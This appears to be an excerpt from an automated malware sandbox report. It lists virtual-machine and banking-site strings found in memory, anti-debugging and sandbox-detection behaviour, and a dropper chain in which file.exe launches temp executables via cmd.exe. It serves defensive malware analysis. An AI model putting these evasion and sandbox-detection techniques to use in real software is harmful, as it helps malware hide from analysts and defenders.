Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: GHCGDAFC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: GHCGDAFC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: GHCGDAFC.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450878675.0000000001B3D000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000D.00000002.3241803333.0000000000E68000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, 0244247334.exe, 0000000E.00000002.3055852446.0000000001949000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: GHCGDAFC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: GHCGDAFC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: GHCGDAFC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GHCGDAFC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 0244247334.exe, 0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GHCGDAFC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: GHCGDAFC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: GHCGDAFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: GHCGDAFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: GHCGDAFC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: GHCGDAFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: GHCGDAFC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: GHCGDAFC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

Code function: 7_2_04BF0CB7 rdtsc

7_2_04BF0CB7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C5B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5BC410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_0067643B mov eax, dword ptr fs:[00000030h]		13_2_0067643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_0067A1A2 mov eax, dword ptr fs:[00000030h]		13_2_0067A1A2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C58B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C58B1F7

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\DAFHIDGIJK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe "C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe "C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account

